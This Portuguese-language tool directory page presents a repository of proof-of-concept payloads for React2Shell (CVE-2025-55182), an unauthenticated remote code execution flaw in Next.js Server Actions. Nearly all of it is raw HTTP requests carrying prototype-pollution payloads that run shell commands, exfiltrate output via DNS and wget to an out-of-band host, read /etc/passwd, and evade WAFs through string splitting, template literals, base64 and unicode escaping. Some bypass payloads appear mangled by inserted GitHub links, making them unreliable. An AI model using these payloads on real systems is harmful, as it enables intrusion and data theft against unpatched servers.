Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
krle — Provas de conceito para CVE-2025-55182 e CVE-2025-66478 | Kitploit
Ferramentas/GitHubGitHub/aseemyash/krle
ExploraçãoExploração de Aplicações WebExfiltração de DadosBypass de WAFTestes de PenetraçãoDesenvolvimento de Payloads
GitHubaseemyash/krle

krle

Provas de conceito para CVE-2025-55182 e CVE-2025-66478

Ver Repositório
há 8 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

REACT2SHELL (CVE-2025-55182)

React2Shell (CVE-2025-55182) é uma cadeia de vulnerabilidades crítica de execução remota de código (RCE) que afeta aplicações Next.js que utilizam Server Actions. A vulnerabilidade explora uma vulnerabilidade de poluição de protótipo em combinação com Server Actions para obter execução arbitrária de código sem autenticação no servidor.

Este repositório é dedicado ao compartilhamento de payloads e bypasses do React2Shell. PRs/contribuições são sempre bem-vindos!

PoC

Recursos

Abaixo estão recursos adicionais que você pode achar úteis:

  • Scanner React2Shell da Assetnote: https://github.com/assetnote/react2shell-scanner
  • Template Nuclei: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-55182.yaml

Payloads

Prova de conceito original

Todos os créditos vão para @maple3142 pela divulgação inicial da prova de conceito, que pode ser encontrada neste GitHub Gist:

root@kitploit:~
POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

RCE completo com saída via mensagem de erro (campo digest)

root@kitploit:~
POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

PoC

Disparar uma consulta DNS externa

Substitua <OAST_SERVER> pelo nome do host do seu servidor OAST.

root@kitploit:~
POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('nslookup <OAST_SERVER>');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

Exfiltração via DNS

Substitua <OAST_SERVER> pelo nome do host do seu servidor OAST.

root@kitploit:~
POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('nslookup `whoami`.<OAST_SERVER>');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

Exfiltração via HTTP

Substitua <OAST_SERVER> pelo nome do host do seu servidor OAST.

root@kitploit:~
POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('wget http://<OAST_SERVER>/?e=$`id`');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

Disparar atraso de tempo

root@kitploit:~
POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('sleep 10');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

Bypass de WAFs com concatenação de strings e codificação

root@kitploit:~
POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: m9x4k7p2
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
X-Nextjs-Html-Request-Id: R8tY5uI2oP6aS3dF
Content-Length: 750

------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var c='child'+'_'+'pro'+'cess';var e='exec'+'Sync';var cp=process['main'+'Module']['require'](https://github.com/aseemyash/krle/blob/HEAD/c);var cmd='who'+'ami';var res=cp[e](https://github.com/aseemyash/krle/blob/HEAD/cmd)['to'+'String']();throw Object['assign'](new Error('NEXT'+'_'+'REDIRECT'),{digest:res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ--

Bypass de WAFs com escape Unicode e template literals

root@kitploit:~
POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: q8w2e5r7
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH9jK2mP5qR8vX3zC
X-Nextjs-Html-Request-Id: L4kJ7hG9fD2sA6zX
Content-Length: 780

------WebKitFormBoundaryH9jK2mP5qR8vX3zC
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var a=process[`main${''}Module`][`req${''}uire`](https://github.com/aseemyash/krle/blob/HEAD/%60child$%7B%27_%27%7Dprocess%60);var b=a[`exe${''}cSync`](https://github.com/aseemyash/krle/blob/HEAD/%60who$%7B%27%27%7Dami%60);var c=b[`toS${''}tring`]();throw Object[`ass${''}ign`](new Error(`NEXT${'_'}REDIRECT`),{digest:c});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryH9jK2mP5qR8vX3zC
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryH9jK2mP5qR8vX3zC
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryH9jK2mP5qR8vX3zC--

Bypass de WAFs com payload codificado em Base64

root@kitploit:~
POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: z5x8c3v6
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryP6oI9uY2tR5eW8qA
X-Nextjs-Html-Request-Id: M3nB6vC9xZ4wE7rT
Content-Length: 820

------WebKitFormBoundaryP6oI9uY2tR5eW8qA
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var B=Buffer['from'];var s=B('Y2hpbGRfcHJvY2Vzcw==','base64')['toString']();var cp=process['mainModule']['require'](https://github.com/aseemyash/krle/blob/HEAD/s);var cmd=B('aWQ=','base64')['toString']();var res=cp['execSync'](https://github.com/aseemyash/krle/blob/HEAD/cmd)['toString']();throw Object['assign'](new Error(B('TkVYVF9SRURJUkVDVA==','base64')['toString']()),{digest:res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryP6oI9uY2tR5eW8qA
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryP6oI9uY2tR5eW8qA
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryP6oI9uY2tR5eW8qA--

Bypass de WAF via codificação Unicode completa

Créditos para @pyn3rd

root@kitploit:~
POST / HTTP/1.1
Host: localhost
Next-Action: x
X-Nextjs-Request-Id: b5dce965
X-Next-Html-Request-Id: abe3
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZ8VskeuqzXXMdwxw
Content-Length: 2349

------WebKitFormBoundaryZ8VskeuqzXXMdwxw
Content-Disposition: form-data; name="0"

{
  "\u0074\u0068\u0065\u006e":
    "\u0024\u0031\u003a\u005f\u005f\u0070\u0072\u006f\u0074\u006f\u005f\u005f\u003a\u0074\u0068\u0065\u006e",
  "\u0073\u0074\u0061\u0074\u0075\u0073":
    "\u0072\u0065\u0073\u006f\u006c\u0076\u0065\u0064\u005f\u006d\u006f\u0064\u0065\u006c",
    "\u0076\u0061\u006c\u0075\u0065": {
      "\u0076\u0061\u006c\u0075\u0065":
        "\u0076\u0022\u0074\u006d\u0069\u006e\u0065\u0022\u003a\u0022\u0024\u0042\u0031\u0033\u0033\u0037\u0022\u007d",
      "\u005f\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u0065": {
        "\u005f\u0070\u0072\u0065\u0066\u0069\u0078\u0078":
          "\u0076\u0061\u0072\u0020\u0072\u0065\u0073\u003d\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u002e\u0072\u0075\u006e\u0028\u0027\u0063\u0068\u0069\u006c\u0064\u005f\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u0027\u002c\u005b\u0027\u0063\u0061\u0074\u0020\u002f\u0065\u0074\u0063\u002f\u0070\u0061\u0073\u0073\u0077\u0064\u0027\u005d\u002c\u007b\u0027\u0065\u006e\u0063\u006f\u0064\u0069\u006e\u0067\u0027\u003a\u0027\u0075\u0074\u0066\u0038\u0027\u007d\u0029\u003b\u0072\u0065\u0073\u003d\u0072\u0065\u0073\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0029\u002e\u0074\u0072\u0069\u006d\u0028\u0029\u003b\u0072\u0065\u0073\u003d\u0042\u0031\u0033\u0033\u0037\u002b\u0072\u0065\u0073\u003b\u0072\u0065\u0073\u002b\u003d\u0042\u0031\u0033\u0033\u0037",
        "\u006f\u0070\u0074\u0069\u006f\u006e\u0073\u006e\u0065\u003f\u0061\u003d\u0024\u007b\u0072\u0065\u0073\u007d\u003b\u0033\u0030\u0037\u003b\u0060\u007d\u0029\u003b",
        "\u005f\u0063\u0068\u0075\u006e\u006b\u0073": "\u0024\u0051\u0032",
        "\u005f\u0063\u0075\u0072\u0072\u0065\u006e\u0074\u0049\u006e\u0064\u0065\u0078": {
          "\u0024\u0031\u003a\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072\u003a\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072":
            "\u0024\u0031\u003a\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072"
        }
      }
  }
}
------WebKitFormBoundaryZ8VskeuqzXXMdwxw--
Baixar ferramenta